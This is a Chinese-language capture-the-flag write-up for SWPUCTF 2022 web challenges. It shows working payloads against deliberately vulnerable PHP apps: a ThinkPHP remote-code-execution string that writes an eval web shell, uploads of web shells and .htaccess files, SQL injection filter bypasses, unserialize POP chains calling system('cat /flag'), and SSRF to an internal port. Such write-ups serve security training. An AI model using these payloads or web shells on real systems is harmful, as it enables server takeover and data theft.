SWPUCTF 2022

Web

numgame

进入页面后是个文字游戏,题目为 10+10=? ,但是无论如何加减都不能改到 20 。

因此开始尝试 F12 打开开发者工具,但是不起作用,发现右键也被禁用了。下一步直接一把梭把 JavaScript 禁用了,禁用之后打开开发者工具,可以发现 /js/1.js ,其内容如下

var input = $('input'),
    input_val = parseInt(input.val()),
    btn_add = $('.add'),
    btn_remove = $('.remove');

input.keyup(function() {
    input_val = parseInt(input.val())
});

btn_add.click(function(e) {
    input_val++;
    input.val(input_val);
    console.log(input_val);
    if(input_val==18){
        input_val=-20;
        input.val(-20);

    }
});

btn_remove.click(function(e) {
    input_val--;
    input.val(input_val);
});
// NSSCTF{TnNTY1RmLnBocA==}

对 TnNTY1RmLnBocA== 进行 Base64 解码可以得到 NsScTf.php ,访问 NsScTf.php 可以得到以下内容

<?php
error_reporting(0);
//hint: 与get相似的另一种请求协议是什么呢
include("flag.php");
class nss{
    static function ctf(){
        include("./hint2.php");
    }
}
if(isset($_GET['p'])){
    if (preg_match("/n|c/m",$_GET['p'], $matches))
        die("no");
    call_user_func($_GET['p']);
}else{
    highlight_file(__FILE__);
}

通过提示可得知应该使用 POST 请求协议,由于 nss 类内函数 ctf 为静态函数,可以直接通过 nss::ctf 来调用。通过访问 /hint2.php 可以得知类名为 nss2 ,因此通过构造 payload p=nss2::ctf 就可以得到 flag 了。

ez_ez_php

<?php
error_reporting(0);
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 3) === "php" ) {
        echo "Nice!!!";
        include($_GET["file"]);
    } 

    else {
        echo "Hacker!!";
    }
}else {
    highlight_file(__FILE__);
}
//flag.php

Payload 如下

file=php/../flag.php

回显如下

Nice!!!NSSCTF{flag_is_not_here}
real_flag_is_in_'flag'

最终 Payload 如下

file=php/../flag

ez_ez_php(revenge)

<?php
error_reporting(0);
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 3) === "php" ) {
        echo "Nice!!!";
        include($_GET["file"]);
    } 

    else {
        echo "Hacker!!";
    }
}else {
    highlight_file(__FILE__);
}
//flag.php

Payload 如下

file=php/../../../../../../flag

ez_rce

先来一波 Dirsearch

$ python dirsearch.py -u http://node1.anna.nssctf.cn:28559/
[20:22:00] 200 -   35B  - /.gitignore
[20:30:31] 200 -   18KB - /composer.lock
[20:30:31] 200 -  942B  - /composer.json
[20:39:07] 200 -   46B  - /robots.txt
[20:42:03] 200 -    0B  - /vendor/autoload.php
[20:42:04] 200 -    0B  - /vendor/composer/autoload_classmap.php
[20:42:04] 200 -    0B  - /vendor/composer/autoload_files.php
[20:42:04] 200 -    0B  - /vendor/composer/autoload_namespaces.php
[20:42:04] 200 -    0B  - /vendor/composer/autoload_real.php
[20:42:04] 200 -    0B  - /vendor/composer/ClassLoader.php
[20:42:04] 200 -    0B  - /vendor/composer/autoload_static.php
[20:42:04] 200 -   16KB - /vendor/composer/installed.json
[20:42:04] 200 -    1KB - /vendor/composer/LICENSE
[20:42:04] 200 -    0B  - /vendor/composer/autoload_psr4.php

robots.txt 内容如下

User-agent: *
Disallow:
  -  /NSS/index.php/

访问 /NSS/index.php 可以得到提示 ThinkPHP 。

通过 ThinkPHP-Scan 扫描一下。

$ python thinkphp_scan.py -url http://node1.anna.nssctf.cn:28559/NSS/index.php
[Info] > thinkphp_invoke_func_code_exec True

构造 Payload 如下以来传入 Shell

s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php eval($_POST[1]);?>

通过蚁剑连接

http://node1.anna.nssctf.cn:28559/NSS/shell.php

连接后发现根目录的 /flag 是空的,发现 nss 文件夹,最后发现 flag 在 /nss/ctf/flag/flag 。

奇妙的MD5

在 Header 头可以看到 Hint 。

select * from 'admin' where password=md5($pass,true)

可以通过 ffifdyop 进行绕过,原因是 ffifdyop 经过 md5 加密后变成 276f722736c95d99e921722cf9ed621c ,再转换成字符串则变为 'or'6É]™é!r,ùíb 使得以上 SQL 语句变成了如下样子。

select * from 'admin' where password=''or'6É]™é!r,ùíb'

跳转后,得到源代码如下

<!--
$x= $GET['x'];
$y = $_GET['y'];
if($x != $y && md5($x) == md5($y)){
    ;
-->

Payload 如下

x[]=1&y[]=2

可以得到以下代码

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['wqh']!==$_POST['dsy']&&md5($_POST['wqh'])===md5($_POST['dsy'])){
    echo $FLAG;
}

Payload 如下

wqh[]=1&dsy[]=2

就可以得到 flag 了。

where_am_i

问题:什么东西是11位啊?

那就是需要找图上这个地方的电话号码。

http://www1.zmjd100.com/hotel/pc/1283140?checkIn=2023-07-26&checkOut=2023-07-27

02886112888

1z_unserialize

<?php
class lyh{
    public $url = 'NSSCTF.com';
    public $lt;
    public $lly;
     
     function  __destruct()
     {
        $a = $this->lt;
        $a($this->lly);
     }
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
?> 

构造序列化

<?php
class lyh{
    public $url = 'NSSCTF.com';
    public $lt;
    public $lly;
     
     function  __destruct()
     {
        $a = $this->lt;
        $a($this->lly);
     }
}
$a = new lyh();
$a->lt = 'system';
$a->lly = 'ls /';
echo serialize($a);
// O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:4:"ls /";}
?> 

构造 Payload 如下

nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:4:"ls /";}

回显如下

bin boot dev etc flag home lib lib64 media mnt opt proc root run run.sh sbin srv sys tmp usr var

构造 Payload 如下

nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}

回显就是 flag 。

ez_ez_unserialize

<?php
class X
{
    public $x = __FILE__;
    function __construct($x)
    {
        $this->x = $x;
    }
    function __wakeup()
    {
        if ($this->x !== __FILE__) {
            $this->x = __FILE__;
        }
    }
    function __destruct()
    {
        highlight_file($this->x);
        //flag is in fllllllag.php
    }
}
if (isset($_REQUEST['x'])) {
    @unserialize($_REQUEST['x']);
} else {
    highlight_file(__FILE__);
}

这题需要 __wakeup() 魔术方法绕过,先构造序列化。

<?php
class X
{
    public $x = __FILE__;
    function __construct($x)
    {
        $this->x = $x;
    }
    function __wakeup()
    {
        if ($this->x !== __FILE__) {
            $this->x = __FILE__;
        }
    }
    function __destruct()
    {
        highlight_file($this->x);
        //flag is in fllllllag.php
    }
}

$a = new X('./fllllllag.php');
echo serialize($a);
//O:1:"X":1:{s:1:"x";s:15:"./fllllllag.php";}

把对象属性个数修改一下绕过 __wakeup() 即可,构造 Payload 如下

x=O:1:"X":2:{s:1:"x";s:15:"./fllllllag.php";}

flag 就出来了。

xff

Payload 如下

Referer: 127.0.0.1
X-Forwarded-For: 127.0.0.1

js_sign

document.getElementsByTagName("button")[0].addEventListener("click", ()=>{
    flag="33 43 43 13 44 21 54 34 45 21 24 33 14 21 31 11 22 12 54 44 11 35 13 34 14 15"
    if (btoa(flag.value) == 'dGFwY29kZQ==') {
        alert("you got hint!!!");
    } else {
        alert("fuck off !!");
    }    
})

dGFwY29kZQ== 解码得到 tapcode

http://www.hiencode.com/tapcode.html

即可得到 flag 。

ez_sql

先探索下看看哪些被过滤了(

union, <空格>, and, or

构造 Payload 如下

nss=-1'/**/oorrder/**/by/**/1%23
nss=-1'/**/oorrder/**/by/**/2%23
nss=-1'/**/oorrder/**/by/**/3%23
nss=-1'/**/oorrder/**/by/**/4%23 # Unknown column '4' in 'order clause'

可以推断出字段有 3 行。

构造 Payload 如下

nss=2'/**/uniunionon/**/select/**/1,2,3%23 # 回显 2, 3
nss=2'/**/uniunionon/**/select/**/1,(database()),3%23 # 回显数据库名 NSS_db
nss=2'/**/uniunionon/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema='NSS_db'),3%23 # 回显表名 NSS_tb, users
nss=2'/**/uniunionon/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_schema='NSS_db'),3%23 # 回显字段名 id, Secr3t, flll444g, id, username, password
nss=2'/**/uniunionon/**/select/**/1,(select/**/group_concat(flll444g)/**/from/**/NSS_tb),3%23 # 回显假flag(可恶啊)
nss=2'/**/uniunionon/**/select/**/1,(select/**/group_concat(Secr3t)/**/from/**/NSS_tb),3%23 # 回显真 flag

webdog1__start

查看源代码如下

<!--
if (isset($_GET['web']))
{
    $first=$_GET['web'];
    if ($first==md5($first)) 
     
-->

看来是 md5 弱比较,构造 Payload 如下即可绕过。

web=0e215962017

查看 Header 头可以发现 Hint 如下

why not go to f14g.php first

然后又根据 Header 头发现 Hint

oh good job! but no flag ,come to F1l1l1l1l1lag.php
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_GET['get'])){
    $get=$_GET['get'];
    if(!strstr($get," ")){
        $get = str_ireplace("flag", " ", $get);
        if (strlen($get)>18){
            die("This is too long.");
        }else{
            eval($get);
        } 
    }else {
        die("nonono"); 
    }
}

使用蚁剑通过

http://node2.anna.nssctf.cn:28412/F1l1l1l1l1lag.php?get=eval($_POST[1]);

连接一把梭就可以获得 flag 了。

funny_php

<?php
    session_start();
    highlight_file(__FILE__);
    if(isset($_GET['num'])){
        if(strlen($_GET['num'])<=3&&$_GET['num']>999999999){
            echo ":D";
            $_SESSION['L1'] = 1;
        }else{
            echo ":C";
        }
    }
    if(isset($_GET['str'])){
        $str = preg_replace('/NSSCTF/',"",$_GET['str']);
        if($str === "NSSCTF"){
            echo "wow";
            $_SESSION['L2'] = 1;
        }else{
            echo $str;
        }
    }
    if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
        if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){
            echo "Nice!";
            if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
                if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){
                    echo "yoxi!";
                    $_SESSION['L3'] = 1;
                }else{
                    echo "X(";
                }
            }
        }else{
            echo "G";
            echo $_POST['md5_1']."\n".$_POST['md5_2'];
        }
    }
    if(isset($_SESSION['L1'])&&isset($_SESSION['L2'])&&isset($_SESSION['L3'])){
        include('flag.php');
        echo $flag;
    }
?>
  • L1 - 通过科学计数法即可绕过,例如 1e9 。

  • L2 - 双写即可绕过,即 NSNSSCTFSCTF 。

  • L3 - MD5 强比较,通过 s878926199a 和 s155964671a 即可绕过。

Payload 如下

Param: num=1e9&str=NSNSSCTFSCTF
Body: md5_1=s878926199a&md5_2=s155964671a

ez_1zpop

<?php
error_reporting(0);
class dxg {
   function fmm() {
      return "nonono";
   }
}

class lt {
   public $impo='hi';
   public $md51='weclome';
   public $md52='to NSS';
   function __construct() {
      $this->impo = new dxg;
   }
   function __wakeup() {
      $this->impo = new dxg;
      return $this->impo->fmm();
   }
   function __toString() {
      if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
         return $this->impo->fmm();
   }
   function __destruct() {
      echo $this;
   }
}

class fin {
   public $a;
   public $url = 'https://www.ctfer.vip';
   public $title;
   function fmm() {
      $b = $this->a;
      $b($this->title);
   }
}

if (isset($_GET['NSS'])) {
   $Data = unserialize($_GET['NSS']);
} else {
   highlight_file(__file__);
}

链子如下

lt(__construct())->lt(__destruct())->lt(__toString())->fin(fmm())

构造序列化如下

<?php
class dxg {
   function fmm() {
      return "nonono";
   }
}

class lt {
   public $impo='hi';
   public $md51='weclome';
   public $md52='to NSS';
   function __construct() {
      $this->impo = new dxg;
   }
   function __wakeup() {
      $this->impo = new dxg;
      return $this->impo->fmm();
   }
   function __toString() {
      if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
         return $this->impo->fmm();
   }
   function __destruct() {
      echo $this;
   }
}

class fin {
   public $a;
   public $url = 'https://www.ctfer.vip';
   public $title;
   function fmm() {
      $b = $this->a;
      $b($this->title);
   }
}

$a = new lt();
$a->md51 = 's878926199a';
$a->md52 = 's155964671a';
$b = new fin();
$b->a = 'system';
$b->title = 'cat /flag';
$a->impo = $b;
echo serialize($a);
// O:2:"lt":3:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:21:"https://www.ctfer.vip";s:5:"title";s:9:"cat /flag";}s:4:"md51";s:11:"s878926199a";s:4:"md52";s:11:"s155964671a";}

MD5 强比较,通过 s878926199a 和 s155964671a 即可绕过,把对象属性个数修改一下即可绕过 __wakeup() ,构造 Payload 如下(跳过 ls /)

NSS=O:2:"lt":4:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:21:"https://www.ctfer.vip";s:5:"title";s:9:"cat /flag";}s:4:"md51";s:11:"s878926199a";s:4:"md52";s:11:"s155964671a";}

就可以得到 flag 了。

funny_web

<?php
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
highlight_file(__FILE__);
include('flag.php');
if (isset($_GET['num'])) {
    $num = $_GET['num'];
    if ($num != '12345') {
        if (intval($num) == '12345') {
            echo $FLAG;
        }
    } else {
        echo "这为何相等又不相等";
    }
}

构造 Payload 如下

num=12345e

Ez_upload

POST / HTTP/1.1
Content-Type: multipart/form-data; 

------WebKitFormBoundaryftTL5sWdr7SOXwI9
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: image/jpeg

<?php eval($_POST[1]); ?>
------WebKitFormBoundaryftTL5sWdr7SOXwI9

回显 后缀名不能有ph! ,尝试改成其他名称,换成 .jpg 回显 还是换个其他类型吧 。

先上传 .htaccess

POST / HTTP/1.1
Content-Type: multipart/form-data; 

------WebKitFormBoundaryvAZiFGDxBICE1vwS
Content-Disposition: form-data; name="uploaded"; filename=".htaccess"
Content-Type: image/jpeg

<FilesMatch "jpg">
setHandler application/x-httpd-php
</FilesMatch>
------WebKitFormBoundaryvAZiFGDxBICE1vwS

回显 /var/www/html/upload/5aca69d12f41e6e7c397787dcb501ac3/.htaccess succesfully uploaded! ,之后上传图片马

POST / HTTP/1.1
Content-Type: multipart/form-data; 

------WebKitFormBoundaryvAZiFGDxBICE1vwS
Content-Disposition: form-data; name="uploaded"; filename="1.jpg"
Content-Type: image/jpeg

<script language="php">eval($_POST[1]);</script>
------WebKitFormBoundaryvAZiFGDxBICE1vwS

回显 /var/www/html/upload/5aca69d12f41e6e7c397787dcb501ac3/1.jpg succesfully uploaded! ,用蚁剑一把梭发现 flag 根本不在根目录。

POST / HTTP/1.1
Content-Type: multipart/form-data; 

------WebKitFormBoundaryvAZiFGDxBICE1vwS
Content-Disposition: form-data; name="uploaded"; filename="2.jpg"
Content-Type: image/jpeg

<script language="php">phpinfo();</script>
------WebKitFormBoundaryvAZiFGDxBICE1vwS

flag 就在 phpinfo() 里面。

file_master

图片必须是 .jpg 且规格最大不超过 20*20 。

index.php 源码如下

<?php
    session_start();
    if(isset($_GET['filename'])){
        echo file_get_contents($_GET['filename']);
    }
    else if(isset($_FILES['file']['name'])){
        $whtie_list = array("image/jpeg");
        $filetype = $_FILES["file"]["type"];
        if(in_array($filetype,$whtie_list)){
            $img_info = @getimagesize($_FILES["file"]["tmp_name"]);
            if($img_info){
                if($img_info[0]<=20 && $img_info[1]<=20){
                    if(!is_dir("upload/".session_id())){
                        mkdir("upload/".session_id());
                    }
                    $save_path = "upload/".session_id()."/".$_FILES["file"]["name"];
                    move_uploaded_file($_FILES["file"]["tmp_name"],$save_path);
                    $content = file_get_contents($save_path);
                    if(preg_match("/php/i",$content)){
                        sleep(5);
                        @unlink($save_path);
                        die("hacker!!!");
                    }else{
                        echo "upload success!! upload/your_sessionid/your_filename";
                    }
                }else{
                    die("image hight and width must less than 20");
                }
            }else{
                die("invalid file head");
            }
        }else{
            die("invalid file type!image/jpeg only!!");
        }
    }else{
        echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents("welcome.jpg")).'">';
    }
?>

上传图片马,并修改后缀为 .php 。

通过访问

http://node1.anna.nssctf.cn:28157/upload/9b19628b659a4d6b0c83a8eed31c80c4/1234.php

可以得到目录

bin boot dev etc flag flag.sh home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var var

通过访问

http://node1.anna.nssctf.cn:28157/upload/9b19628b659a4d6b0c83a8eed31c80c4/1234.php

可以得到 flag 。

Power!

源代码存在提示如下

<!-- ?source= -->

构造 Payload 如下

source=index.php

可以得到 index.php 的源代码

<?php
    class FileViewer{
        public $black_list = "flag";
        public $local = "http://127.0.0.1/";
        public $path;
        public function __call($f,$a){
            $this->loadfile();
        }
        public function loadfile(){
            if(!is_array($this->path)){
                if(preg_match("/".$this->black_list."/i",$this->path)){
                    $file = $this->curl($this->local."cheems.jpg");
                }else{
                    $file = $this->curl($this->local.$this->path);
                }
            }else{
                $file = $this->curl($this->local."cheems.jpg");
            }
            echo '<img src="data:jpg;base64,'.base64_encode($file).'"/>';
        }
        public function curl($path){
            $url = $path;
            $curl = curl_init();
            curl_setopt($curl, CURLOPT_URL, $url);
            curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($curl, CURLOPT_HEADER, 0);
            $response = curl_exec($curl);
            curl_close($curl);
            return $response;
        }
        public function __wakeup(){
            $this->local = "http://127.0.0.1/";
        }
    }
    class Backdoor{
        public $a;
        public $b;
        public $superhacker = "hacker.jpg";
        public function goodman($i,$j){
            $i->$j = $this->superhacker;
        }
        public function __destruct(){
            $this->goodman($this->a,$this->b);
            $this->a->c();
        }
    }
    if(isset($_GET['source'])){
        highlight_file(__FILE__);
    }else{
        if(isset($_GET['image_path'])){
            $path = $_GET['image_path'];    //flag in /flag.php
            if(is_string($path)&&!preg_match("/http:|gopher:|glob:|php:/i",$path)){
                echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';
            }else{
                echo '<h2>Seriously??</h2><img src="data:jpg;base64,'.base64_encode(file_get_contents("cheems.jpg")).'"/>';
            }
            
        }else if(isset($_GET['path_info'])){
            $path_info = $_GET['path_info'];
            $FV = unserialize(base64_decode($path_info));
            $FV->loadfile();
        }else{
            $path = "vergil.jpg";
            echo '<h2>POWER!!</h2>
            <img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';
        }
    }
?>

构造 Payload 如下

image_path=flag.php

可以得到 flag.php 的源码如下

<?php
$a = "good job,but there is no flag
i put my flag in intranet(127.0.0.1:65500)
outsider have no permissions to get it
if you want it,then you have to take it
but you already knew the rules
try it";
?>

因此需要通过 curl 方法来从内网获取到 flag,链子如下

Backdoor::__destruct()->FileViewer::__call()->FileViewer::loadfile()->FileViewer::curl()

构造序列化如下

<?php
class FileViewer{
  public $black_list = "flag";
  public $local = "http://127.0.0.1/";
  public $path;
  public function __call($f,$a){
    $this->loadfile();
  }
  public function loadfile(){
    if(!is_array($this->path)){
      if(preg_match("/".$this->black_list."/i",$this->path)){
        $file = $this->curl($this->local."cheems.jpg");
      }else{
        $file = $this->curl($this->local.$this->path);
      }
    }else{
      $file = $this->curl($this->local."cheems.jpg");
    }
    echo '<img src="data:jpg;base64,'.base64_encode($file).'"/>';
  }
  public function curl($path){
    $url = $path;
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($curl, CURLOPT_HEADER, 0);
    $response = curl_exec($curl);
    curl_close($curl);
    return $response;
  }
  public function __wakeup(){
    $this->local = "http://127.0.0.1/";
  }
}
class Backdoor{
  public $a;
  public $b;
  public $superhacker = "hacker.jpg";
  public function goodman($i,$j){
    $i->$j = $this->superhacker; // $fv->local = 'http://127.0.0.1:65500/'
  }
  public function __destruct(){
    $this->goodman($this->a,$this->b);
    $this->a->c(); // $fv::__call()
  }
}
if(isset($_GET['source'])){
  highlight_file(__FILE__);
}else{
  if(isset($_GET['image_path'])){
    $path = $_GET['image_path'];    //flag in /flag.php
    if(is_string($path)&&!preg_match("/http:|gopher:|glob:|php:/i",$path)){
      echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';
    }else{
      echo '<h2>Seriously??</h2><img src="data:jpg;base64,'.base64_encode(file_get_contents("cheems.jpg")).'"/>';
    }

  }else if(isset($_GET['path_info'])){
    $path_info = $_GET['path_info'];
    $FV = unserialize(base64_decode($path_info));
    $FV->loadfile();
  }else{
    $path = "vergil.jpg";
    echo '<h2>POWER!!</h2>
            <img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';
  }
}

$bd = new Backdoor();
$fv = new FileViewer();
$fv->path = 'flag.php';
$fv->black_list = 'k1s4ra';
$bd->superhacker = 'http://127.0.0.1:65500/';
$bd->a = $fv;
$bd->b = 'local';
echo serialize($bd);
// O:8:"Backdoor":3:{s:1:"a";O:10:"FileViewer":3:{s:10:"black_list";s:6:"k1s4ra";s:5:"local";s:17:"http://127.0.0.1/";s:4:"path";s:8:"flag.php";}s:1:"b";s:5:"local";s:11:"superhacker";s:23:"http://127.0.0.1:65500/";}

需要绕过 __wakeup() 魔术方法,所以需要修改对象属性个数,序列化变为

O:8:"Backdoor":4:{s:1:"a";O:10:"FileViewer":3:{s:10:"black_list";s:6:"k1s4ra";s:5:"local";s:17:"http://127.0.0.1/";s:4:"path";s:8:"flag.php";}s:1:"b";s:5:"local";s:11:"superhacker";s:23:"http://127.0.0.1:65500/";}

再进行 base64 编码就得到最后的 Payload 如下

Tzo4OiJCYWNrZG9vciI6NDp7czoxOiJhIjtPOjEwOiJGaWxlVmlld2VyIjozOntzOjEwOiJibGFja19saXN0IjtzOjY6ImsxczRyYSI7czo1OiJsb2NhbCI7czoxNzoiaHR0cDovLzEyNy4wLjAuMS8iO3M6NDoicGF0aCI7czo4OiJmbGFnLnBocCI7fXM6MToiYiI7czo1OiJsb2NhbCI7czoxMToic3VwZXJoYWNrZXIiO3M6MjM6Imh0dHA6Ly8xMjcuMC4wLjE6NjU1MDAvIjt9

得到回显如下

TlNTQ1RGe2E0NDNjZDEwLTA1MzctNDBlMC1hYWEyLTAyZjhhNjU4ZmEzZX0=

通过 base64 解码即可获得 flag 。

Last updated